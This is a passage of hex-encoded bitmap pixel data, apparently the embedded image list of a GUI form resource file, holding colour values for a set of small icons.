5E0013802C000000000000000000000000000000000000000000000000000000\n      00000000000000000000A1A1A100F5F5F500F0F0F000F0F0F000F0F0F000F0F0\n      F000F0F0F000F0F0F000F0F0F000A1A1A1000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000005487AF0061A4D70064A7DA0064A7\n      DA0064A7DA00619ED100748DA300F0F0F000E6E6E600E6E6E600E6E6E600E6E6\n      E600E6E6E600E6E6E600F0F0F0009D9D9D00000000000000000066AC6C006FB6\n      8500ADE8C700BFD29F00219650001B904800158E4200108A3A00399E5D007FC0\n      950045A261000D7F27000000000000000000D9AF9300CE967100C27D5100C27D\n      5100C27D5100C27D510082614E00F0F0F000E6E6E600E6E6E600E6E6E600E6E6\n      E600E6E6E600E6E6E600F0F0F000A1A1A1000000000000000000000000000000\n      00007373F7004D4DF1006464FE005151FF000000000000000000000000000000\n      0000000000000000000000000000000000001F62970067AADC00478DCF00478D\n      CF004286CD004383C5006784A000F5F5F500B2B2B200B2B2B200B2B2B200B2B2\n      B200B2B2B200B2B2B200F0F0F0009D9D9D000000000083C1890075BF8C0098D7\n      B20078BF7F00BBC17D00289A5A008FCAA8008DC9A50089C6A00087C49D006FB6\n      85007FC0950045A2610013802C0000000000C98A6000DDAC8B00E2BCA400EFD6\n      CA00EFD6CA00F0D4C6009A8D8600F5F5F500B2B2B200B2B2B200B2B2B200B2B2\n      B200B2B2B200B2B2B200F0F0F000A1A1A1000000000000000000000000008D8D\n      FF006868FF006464FE007D7DFF006464FE006464FE0000000000000000000000\n      0000000000000000000000000000000000001F62970068ADDC004992D100478D\n      CF004286CD004383C5006B87A200F0F0F000E6E6E600F0F0F000E6E6E600E6E6\n      E600E6E6E600E6E6E600F0F0F000A5A5A5000000000054AF5E00B4EAD30068BB\n      730068BB7300BDB56C00309D610093CDAC006EB98D006AB7880065B5840060B2\n      7F0065B5840081C196003B9F5B0004802700C27C4F00EDC1A500FDD4C200B2EB\n      D30076CE9D007FD1A400668D7700F0F0F000E6E6E600F0F0F000E6E6E600E6E6\n      E600E6E6E600E6E6E600F0F0F000A1A1A10000000000000000007D7DFF006868\n      FF007979F9008181FF009797FF007D7DFF006464FE00C7C7C700000000000000\n      0000000000000000000000000000000000001F62970069B0DE004992D1004992\n      D1004992D100498BC9006E8AA400F5F5F500B2B2B200B2B2B200B2B2B200B2B2\n      B200B2B2B200B2B2B200F0F0F000A5A5A50089CD920091D7AE009FDEB30083C5\n      6F00A7D07F00C4A45B0036A26A0093CDAC0093CDAC0093CDAC008DC9A50075BF\n      8C0089C6A00045A2610009873600629A6400C27C4F00EABDA000F5C9B200C8EA\n      D6009DD0A900A3D3AF0079907F00F5F5F500B2B2B200B2B2B200B2B2B200B2B2\n      B200B2B2B200B2B2B200F0F0F000A5A5A50000000000000000004141E8008181\n      FF009797FF007D7DFF007979F9008D8DFF00CDCDCD00B5B5B500B5B5B5000000\n      0000000000000000000000000000000000001F62970069B0DE00519ED6004992\n      D1004992D1004B90CB006E8AA400F0F0F000F0F0F000E6E6E600F0F0F000E6E6\n      E600E6E6E600E6E6E600F0F0F000A5A5A5006EC47800AFE9CF0082D48F00BEDC\n      8900C2CB8100CCA155003CA46E003CA46E00309D6100309D610054AE7B008FCA\n      A8004EAA7300178E4500A0D8BB0042864500C27D5100EABDA000FACEB800B9EE\n      D90083D4A9008CD7AF0070938000F0F0F000F0F0F000E6E6E600F0F0F000E6E6\n      E600E6E6E600E6E6E600F0F0F000A5A5A50000000000000000005151FF008D8D\n      FF00A1A1FF008D8DFF007D7DFF00CDCDCD00CDCDCD00D4D4D40053A9DF004088\n      DC0000000000000000000000000000000000236294006FB4E000519ED600519E\n      D6004992D1005198CF007290A900F5F5F500B2B2B200B2B2B200B2B2B200B2B2\n      B200B2B2B200B2B2B200F0F0F000A5A5A50064C47100BDEFDD0072D17C008FD1\n      6B00BBE09D00C4A45B00D3AF5D00C5985200C5BB6D00A7D07F003AA1630059B2\n      80002797560059A26600B0E3CE0036813A00C27C4F00EDC3A900E7B39100FAD8\n      C800FAD8C800FAD8C800A8958E00F5F5F500B2B2B200B2B2B200B2B2B200B2B2\n      B200B2B2B200B2B2B200F0F0F000A5A5A5000000000000000000000000007D7D\n      FF008D8DFF00A1A1FF00CDCDCD00C7C7C700C7C7C70071ECFD0081DDF6005CB0\n      E400539CDD000000000000000000000000001F62970072B6E10056A2D700519E\n      D600519ED6005198CF007290A900F5F5F500F5F5F500F5F5F500F5F5F500F5F5\n      F500F5F5F500F0F0F000F5F5F500AAAAAA0064C47100BEF1DD0080D8820076DB\n      6C00BBE09D00CCDFA600CAA75C00C5BB6D00B7DA8A00A5D85F003AA16300309E\n      640058BB4F0066AC6C00B0E3CE003B853F00C27D5100F5C9B200DF9A6D00E09A\n      6D00E09A6D00E29D72009B796400F5F5F500F5F5F500F5F5F500F5F5F500F5F5\n      F500F5F5F500F0F0F000F5F5F500AAAAAA000000000000000000000000000000\n      00008181FF00CDCDCD00C7C7C700D4D4D40055E4FD0044D7F4007DEFFB007CDA\n      F3005AAEE4003C8FDA0000000000000000001F62970075B8E2005AA5D9005AA5\n      D900519ED600519ED600608AA8006386A00062859F0062859F0062859F004967\n      8000AAAAAA00AAAAAA00AAAAAA000000000072C97E00B4EAD3009AE2A1009CEA\n      8C00D4EDB600D0EAC700CFB86D00CCB16500CBC9740075DB660065D94C0065D9\n      4C006BD35C0072BA7D00A4DBC1004B925000C27D5100F1CDB400E29D7200E2A2\n      7800E2A27800E2A278009679660093766400937664008D705C008D705C008D70\n      5C00866F6000795B4800A1A1A100000000000000000000000000000000000000\n      000000000000B5B5B500E7E7E700C9FAFF008FECFA0051D8F40044D7F40071EC\n      FD0088DDF30054A9E2003F91DA00000000001F62970079BAE30067AADC0056A2\n      D700519ED600519ED600519ED600519ED600519ED600519ED600619ED1001F62\n      97000000000000000000000000000000000091D59A0097DEB400B4EBCC00B0EF\n      A600C9EEA800D1EAC900D5CF8C00D9CB8A00CCB16500BBBB660099D6700081DE\n      720079DC700090D0A20087C8A30071AD7500C4805200F4D1B900DF9A6D00CC93\n      6C00D0997600D19A7800D19A7800CE967100CC936C00CC936C00CC936C00DDA4\n      7F00D5A28100BB784C0000000000000000000000000000000000000000000000\n      000000000000000000004FC5E800B3ECF900D0F9FD008FECFA0051D8F40048DA\n      F5006EE5F80088DDF30054A9E200579FDE001F62970079BAE30067AADC0061AA\n      DC0061AADC005AA5D9005AA5D9005AA5D9005AA5D900519ED60064A7DA001F62\n      9700000000000000000000000000000000000000000063C46F00BFF3E200B4EF\n      B300B4F0AB00C0EDB600D4E3B600D9D89B00DAD39400CDB46C00C7B26C00B4CB\n      830093DF9900B0E3CE00479B4E0000000000C4805200F5C9B200EDC1A500FCF5\n      EF00F1DECF00FBF2EC00FEFCF900FCF5EF00F9EBE100F6E5D900F6E5D900E2AA\n      8500D5A28100BD7A4D0000000000000000000000000000000000000000000000\n      00000000000000000000000000005AC1ED00AFE7F600C9FAFF0094EBFA0051D8\n      F40048DAF50071ECFD0081DDF6005CB0E4001F6297007DBEE40069B0DE00499A\n      DA004195DC004195DC004195DC004195DC004195DC004F9CD50068ADDC001F62\n      9700000000000000000000000000000000000000000098D8A00086D79F00BEF1\n      DD00C7F2D600D5EFD500D1EAC900D5DBA500DCDEAA00D9CB8A00D9CB8A00C9C0\n      8D00BCD6AE0079C790007DBC830000000000C4805200F1CDB400EDC3A900FEFC\n      F900D19A7800F6E5D900FDF9F500FEFCF900FBF2EC00F6E5D900F6E4D700E2AA\n      8500DDAF9200BD7A4D0000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000064CAEB00B7EAF600C4F6FC0094EB\n      FA0051D8F40044D7F4007DF0FB007CDAF3003A75A30069B0DE007DBEE4004D9C\n      DF00B4EEFD0074D4F00074D4F000B4EEFD004D9CDF006FB4E0006FB4E0002969\n      9B0000000000000000000000000000000000000000000000000082D48F008BD8\n      A100CDF5E800D4EDDA00CEEDD300CFDFAE00D6DEB400D4D4A100CED0A000C3D0\n      A90086C9900072BA7D000000000000000000C98A6000F1CDB400F0C4A700FEFC\n      F900D0997600F6E5D900FBF2EC00FDF9F500FCF5EF00F9EBE100F6E5D900EDC7\n      AB00E2BCA400C27D510000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000004FC5E800B7EAF600CAF7\n      FD008FECFA0051D8F40044D7F40071ECFD00000000006291B600236294003674\n      A300B4EEFD007FDBF3007FDBF300B4EEFD002D6DA0001F6297006E99BB000000\n      00000000000000000000000000000000000000000000000000000000000098D8\n      A00064C47100A4E1BA00B9EACC00C4E0BD00C4DAB300BCD6AE00A5D7AB005EBE\n      6A0089CD9200000000000000000000000000D5A28100FAE3D500FBE9DD00FEFC\n      F900F5E8DD00FDF9F500FDF9F500FEFCF900FEFCF900FEFCF900FCF0E700EFD4\n      C000D0997600D6AD910000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000000000004FC5E800B2E8\n      F600D0F9FD008FECFA0051D8F40048DAF5000000000000000000000000001F62\n      97001F6297001F6297001F6297001F62970029699B0000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000091D59A0072C97E0064C4710064C471006DC8790091D59A000000\n      00000000000000000000000000000000000000000000D7A88900CB8E6500C886\n      5B00C8865B00C4805200C27D5100C4805200C8865B00C8865B00C8865B00CE96\n      7100000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000000000000000000064CA\n      EB00AFE7F600C9FAFF0092EBF90051D8F4000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000D9C0B200D7B49A00D7B49A00D4B1\n      9800D1AD9500D1AD9500CCA89100CCA89100CAA69000CAA69000CAA69000C6A2\n      8C00C6A28C00C6A28C00D9C0B20000000000C5A08B00C28D6700BF8A6500BC86\n      6200BC866200B6805D00B37D5B00B37D5B00AE785600AE785600AC755500AC75\n      5500A8715100AC755500C5A08B00000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000E1A26E00E1A26E00E1A26E00E1A26E00E1A26E00E1A26E00E1A26E00E1A2\n      6E00E1A26E00000000000000000000000000DAB69D00FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00C6A28C0000000000C8926B00FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00A8715100000000000000000000000000000000000000\n      0000E1A26C00E1A26C00E1A26C00E1A26C00E1A26C00E1A26C00E1A26C00E1A2\n      6C00000000000000000000000000000000000000000000000000000000000000\n      0000E1A26E000000000000000000000000000000000000000000000000000000\n      0000E1A26E00000000000000000000000000DCB99E00FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00C6A28C0000000000C8926B00FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FCFC\n      F700FFFFFF00FFFFFF00A8715100000000000000000000000000000000000000\n      0000E1A26C00E1A26C00E1A26C00E1A26C00E1A26C00E1A26C00E1A26C00E1A2\n      6C00000000000000000000000000000000000000000000000000000000000000\n      0000E1A26E000000000000000000000000000000000000000000000000000000\n      0000E1A26E00000000000000000000000000DCB99E00FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00FFFFFF00FCFCFA00FFFFFF00FCFCFA00FFFFFF00FCFC\n      FA00FCFCFA00FFFFFF00CAA6900000000000C8926B00FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FCFCF700FFFFFF00FCFCF700FCFCF700FCFCF700FFFFFF00FCFC\n      F700FCFCF700FFFFFF00AC755500000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000E1A26E000000000000000000000000000000000000000000000000000000\n      0000E1A26E00000000000000000000000000E1BDA200FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FCFCFA00FFFFFF00FCFCFA00FCFCFA00FCFCFA00FCFCFA00FCFC\n      FA00FCFCFA00FFFFFF00CAA6900000000000D29C7200FFFFFF00FFFFFF00FFFF\n      FF00FCFCF700FFFFFF00FCFCF700FFFFFF00FCFCF700FCFCF700FCFCF700FCFC\n      F700FAF6F100FFFFFF00AE785600000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000E1A26E000000000000000000000000000000000000000000000000000000\n      0000E1A26E00000000000000000000000000E1BDA200FFFFFF00FFFFFF00FCFC\n      FA00FFFFFF00FCFCFA00FCFCFA00FCFCFA00FCFCFA00FCFCFA00FCFCFA00F9F5\n      F100FCFCFA00FCFCFA00CAA6900000000000D29C7200FFFFFF00FFFFFF00FCFC\n      F700FFFFFF00FCFCF700FFFFFF00FCFCF700FCFCF700FBF7F400FBF7F400FBF7\n      F400FAF6F100FFFFFF00B07A5700000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000E1A26E000000000000000000000000000000000000000000000000000000\n      0000E1A26E00000000000000000000000000E3C0A400FFFFFF00FFFFFF00FFFF\n      FF00FCFCFA00FCFCFA00FCFCFA00FCFCFA00FCFCFA00FCFCFA00FCF7F400FCF7\n      F400FCF7F400FFFFFF00CCA8910000000000D29C7200FFFFFF00FFFFFF00FFFF\n      FF00FCFCF700FFFFFF00FCFCF700FBF7F400FBF7F400FBF7F400FAF6F100FAF6\n      F100FAF6F100FFFFFF00B37D5B00000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000E1A26E000000000000000000000000000000000000000000000000000000\n      0000E1A26E00000000000000000000000000E3C0A400FFFFFF00FFFFFF00FCFC\n      FA00FFFFFF00FCFCFA00FCFCFA00FCFCFA00FCF7F400FCF7F400FCF7F400FCF7\n      F400F6EFE900FFFFFF00D1AD950000000000D9A27800FFFFFF00FCFCF700FFFF\n      FF00FCFCF700FBF7F400FBF7F400FBF7F400FAF6F100FAF6F100F7F1EA00F5EB\n      E700F5EBE700FFFFFF00B6805D00000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000E1A26E00E1A26E00E1A26E00E1A26E00E1A26E00E1A26E00E1A26E00E1A2\n      6E00E1A26E00000000000000000000000000E3C0A400FFFFFF00FFFFFF00FCFC\n      FA00FCFCFA00FCFCFA00F9F5F100FCFCFA00FCF7F400FCF7F400F6EFE900F6EF\n      E900F6EFE900FFFFFF00D1AD950000000000D9A27800FFFFFF00FFFFFF00FBF7\n      F400FCFCF700FBF7F400FAF6F100F8F4EE00F8F4EE00F5EBE700F5EBE700F5EB\n      E700F2E7DE00FFFFFF00B8825E00000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000E1A26E00E1A26E00E1A26E00E1A26E00E1A26E00E1A26E00E1A26E00E1A2\n      6E00E1A26E00000000000000000000000000E8C4A600FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FCFCFA00FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00D1AD950000000000D9A27800FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00BC866200000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000E8C4A600E8C4A600E8C4A600E8C4\n      A600E8C4A600E8C4A600E8C4A600E8C4A600E8C4A600E8C4A600E8C4A600E8C4\n      A600E8C4A600E8C4A600D7B49A0000000000D9A27800DCA57900D9A27800D9A2\n      7800D9A27800D9A27800DCA57900D9A27800DCA57900D9A27800DCA57900D9A2\n      7800DCA57900D9A27800C28D6700000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000E8C8AE00F0D0B600F0D0B600F0D0\n      B600F0D0B600F0D0B600F0D0B600F0D0B600F0D0B600F0D0B600F0D0B600F0D0\n      B600F0D0B600F0D0B600D7B49A0000000000DDAB8400E8B89100E8B89100E8B8\n      9100E8B89100E8B89100E8B89100E8B89100E8B89100E8B89100E8B89100E8B8\n      9100E8B89100E8B89100C08F6F00000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000E7D7CF00E9CDB600E8C4A600E8C4\n      A600E3C0A400E3C0A400E3C0A400E1BDA200E1BDA200DCB99E00DCB99E00DCB9\n      9E00DCB99E00D9BEAA00E7D7CF000000000000000000DEB39000DCA57900DCA5\n      7900DCA57900D9A27800D9A27800D9A27800D29C7200D29C7200CE986F00CE98\n      6F00C8926B00C59D7E0000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000681\n      2900000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000000000000014863100037A\n      1D00000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000000000000014853F003B9F\n      5B00088637000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000148B3A0042A0\n      5E0033944B000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000497253008EA5940000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000002E93460046A4660081C1\n      960046A466001990470000000000000000000000000000000000000000000000\n      00000000000000000000219651001B904900158E4300148B3A00399E5D007FC0\n      950045A261002E93460000000000000000000000000000000000000000005C7D\n      5C005C7D5C00567656005676560000000000000000005C7D5C005C7D5C005676\n      5600567656000000000000000000000000000000000000000000000000000000\n      000049725300598B66008EA59400000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000033944B0046A4660081C1960066B4\n      810089C6A0004EAA73002797560000000000000000000000000075B0E5003D8F\n      DB00328AD900328AD900289A5A008FCAA8008DC9A50089C6A00087C49D0069B5\n      840081C1960045A2610014853F00000000000000000000000000000000005C7D\n      5C007CA07C0088A888005676560000000000000000005C7D5C007CA07C0088A8\n      8800567656000000000000000000000000000000000000000000000000000000\n      00004D7858007EAC8A00598B66008EA594000000000000000000000000000000\n      000000000000000000000000000000000000000000000000000075B0E5003D8F\n      DB00328AD900328AD900328AD900037A1D0042A05E007FC0950069B5840060B2\n      7F0073BB8F0090CBA90059B28000309E6400000000004698DC00DEF0FA00A6DD\n      F4009DDBF40095DAF300309E620093CDAC006EB98D006AB7880065B5840060B2\n      7F0065B5840081C196003B9F5B00068129000000000000000000000000005F81\n      5F0080A280008CAB8C005C7D5C0000000000000000005F815F0080A280008CAB\n      8C005C7D5C000000000000000000000000000000000000000000000000000000\n      0000527F5D0081AE8C007EAC8A005C90690085A08C0000000000000000000000\n      000000000000000000000000000000000000000000004698DC00DEF0FA00A6DD\n      F4009DDBF40095DAF3008DD8F30008863700088637003B9F5B0087C49D0066B4\n      81008FCAA80054AE7B0033A36D003BA77500000000003A96DB00EEFAFE00A1E9\n      F90091E5F80080E1F70036A26A0093CDAC0093CDAC0093CDAC008DC9A50073BB\n      8F0089C6A00045A2610008863700000000000000000000000000000000006285\n      620080A2800091AE91005C7D5C0000000000000000006285620080A2800091AE\n      91005C7D5C000000000000000000000000000000000000000000000000000000\n      0000598B66008AB495007AAA860081AE8C005C90690085A08C00000000000000\n      000000000000000000000000000000000000000000003A96DB00EEFAFE00A1E9\n      F90091E5F80080E1F70071DEF60064DBF50053D7F4000F8B3B0089C6A0006AB7\n      880090CBA9002F9D62003A96DB0000000000000000003A9ADA00F1FAFD00B2ED\n      FA00A1E9F90091E5F8003CA46E003CA46E0033A168002F9D620054AE7B0093CD\n      AC004EAA73001B9049003A9ADA00000000000000000000000000000000006285\n      62008CAB8C0096B296005C7D5C000000000000000000628562008CAB8C0096B2\n      96005C7D5C000000000000000000000000000000000000000000000000000000\n      000060956E008EB698007EAC8A007EAC8A0081AE8C0060956E00819F89000000\n      000000000000000000000000000000000000000000003A9ADB00F1FAFD00B2ED\n      FA00A1E9F90091E5F80080E1F70075DEF60064DBF500158F43008DC9A5006EB9\n      8D0090CBA90033A36D003A9ADB00000000000000000039A1DA00F1FAFD00C8F2\n      FC00B8EFFB00ABECFA009BE8F9008AE3F7007BE0F6006BDCF60036A26A0059B2\n      800021965100D0F3FC0039A1DA00000000000000000000000000000000006285\n      620096B2960096B296005F815F0000000000000000006285620096B2960096B2\n      96005F815F000000000000000000000000000000000000000000000000000000\n      0000689E760095BB9F0081AE8C0085B190008AB495006299700061876B000000\n      0000000000000000000000000000000000000000000039A1DA00F1FAFD00C8F2\n      FC00B8EFFB00ABECFA00A1E9F9008AE3F7007BE0F6001B9149008FCAA80090CB\n      A90095CEAF0037A36E0039A1DA00000000000000000039A1DA00FFFFFF00FFFF\n      FF00F1FAFD00FFFFFF00F1FAFD00DEF0FA0091E5F80080E1F7003BA77500309E\n      62005BD8F400DEF0FA0039A5DA00000000000000000000000000000000007399\n      73009EB89E009EB89E00628562000000000000000000739973009EB89E009EB8\n      9E00628562000000000000000000000000000000000000000000000000000000\n      000073A580009ABEA30095BB9F0095BB9F0071A47E0092B09900000000000000\n      0000000000000000000000000000000000000000000039A1DA00FFFFFF00FFFF\n      FF00F1FAFD00FFFFFF00EEFAFE00DEF0FA0091E5F80021975100289A5A00309E\n      640037A36E0037A36E0039A1DA00000000000000000037ABDA00E9F6FB0093D4\n      EF0087CEEE0072C0E900C9E9F600EEFAFE00F1FAFD00F1FAFD00F1FAFD00EEFA\n      FE00EEFAFE00FFFFFF003BACDB00000000000000000000000000000000007399\n      730096B29600A3BCA3006285620000000000000000007399730096B29600A3BC\n      A300628562000000000000000000000000000000000000000000000000000000\n      00007AAA8600A0C2A9009DC0A6007EAC8A009ABEA30000000000000000000000\n      0000000000000000000000000000000000000000000037ABDA00E9F6FB0093D4\n      EF0087CEEE0072C0E900C9E9F600EEFAFE00F1FAFD00F1FAFD00F1FAFD00F1FA\n      FD00EEFAFE00FFFFFF003BACDB0000000000000000003BACDB00F1FAFD0095DA\n      F30095DAF30080D5F20069CAED006BCBEA0084D3EF0080D5F20079D0EF0075CF\n      EE0075CFEE00E9F6FB003CB0DB00000000000000000000000000000000007CA0\n      7C009EB89E00A8BFA8006A916A0000000000000000007CA07C009EB89E00A8BF\n      A8006A916A000000000000000000000000000000000000000000000000000000\n      000081AE8C00A0C2A9008AB49500B0CCB7000000000000000000000000000000\n      000000000000000000000000000000000000000000003BACDB00F1FAFD0095DA\n      F30095DAF30080D5F20069CAED006BCBEA0084D3EF0080D5F20079D0EF0075CF\n      EE0075CFEE00E9F6FB003CB0DB0000000000000000003FB2DC00F1FAFD008DE4\n      F8008AE3F7009EE0F500ABE1F600EEFAFE00F1FAFD00F1FAFD00F1FAFD00EEFA\n      FE00EEFAFE00FFFFFF0055BEDF000000000000000000000000000000000080A2\n      8000A3BCA300A8BFA80073997300000000000000000080A28000A3BCA300A8BF\n      A800739973000000000000000000000000000000000000000000000000000000\n      00008AB4950085B19000BBD3C100000000000000000000000000000000000000\n      000000000000000000000000000000000000000000003FB2DC00F1FAFD008DE4\n      F8008AE3F7009EE0F500ABE1F600EEFAFE00F1FAFD00F1FAFD00F1FAFD00EEFA\n      FE00EEFAFE00FFFFFF0057BBE00000000000000000003CB0DB00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00FFFFFF00EEFAFE006EC8E3006EC8E3006EC8E3006EC8\n      E3007CCEE60080D5F20000000000000000000000000000000000000000008CAB\n      8C00A8BFA800B2C7B2007CA07C0000000000000000008CAB8C00A8BFA800B2C7\n      B2007CA07C000000000000000000000000000000000000000000000000000000\n      00008EB69800BBD3C10000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000003CB0DB00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00FFFFFF00EEFAFE006EC8E3006EC8E3006EC8E3006EC8\n      E3007CCEE60080D5F20000000000000000000000000058C1E00061C2E10061C2\n      E10061C2E10061C2E10058C1E00058C1E0000000000000000000000000000000\n      00000000000000000000000000000000000000000000000000000000000091AE\n      910091AE91008CAB8C0080A28000000000000000000091AE910091AE91008CAB\n      8C0080A280000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000058C1E00061C2E10061C2\n      E10061C2E10061C2E10058C1E00058C1E0000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000929292008C8C8C0000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000E4D3C800DAC0B100CFAE\n      9900CFAE9900CFAE9900CFAE9900CFAE9900CFAE9900CFAE9900CFAE9900CFAE\n      9900CFAE9900D1B09C00E2D1C600000000000000000000000000000000000000\n      000000000000000000009E9E9E00C9C9C900C0C0C0001E3EA4001C43B5001C43\n      B500163EAB00163EAB00163EAB00000000000000000000000000000000004F4C\n      F2FF4140EDFF0000000000000000000000000000000000000000000000002725\n      E4FF312FEAFF000000000000000000000000EBC8AA00E7BF9E00E7BF9E00E0B6\n      9400DDB18E00D9AD8900D6A88400D3A47E00D09F7A00CD9B7500CD9B7500C794\n      6D00C7946D00C38F6700C38F6700C797720000000000D2B4A100F1EFED00F6F3\n      F100F8F4F000F8F4F000F6F3F100F6F3F100F8F3EF00F8F3EF00F8F3EF00F8F3\n      EF00F8F3EF00F1EFED00D1B09C00000000000000000000000000BEBEBE008484\n      84008484840000000000A0A0A000D5D5D500D5D5D5002241B2003E40EA00333B\n      E8002E39E5002E39E500133BA8000000000000000000000000005856F5FF6361\n      FAFF5855F6FF4341EDFF000000000000000000000000000000002E2DE6FF413F\n      F1FF4C4AF6FF312FEAFF0000000000000000EBC8AA00E8D4C500E7D3C400E7D3\n      C400E5CEBD00E5CEBD00E5CEBD00E3CAB800E3CAB800E0C4B200DFC3B000DFC3\n      B000DFC3B000DFC3B000DFC3B000C38F670000000000CFAA9200F8F3EF00BEDC\n      C100BEDCC100BEDCC100BEDCC100BEDCC100BEDCC100BEDCC100BEDCC100BEDC\n      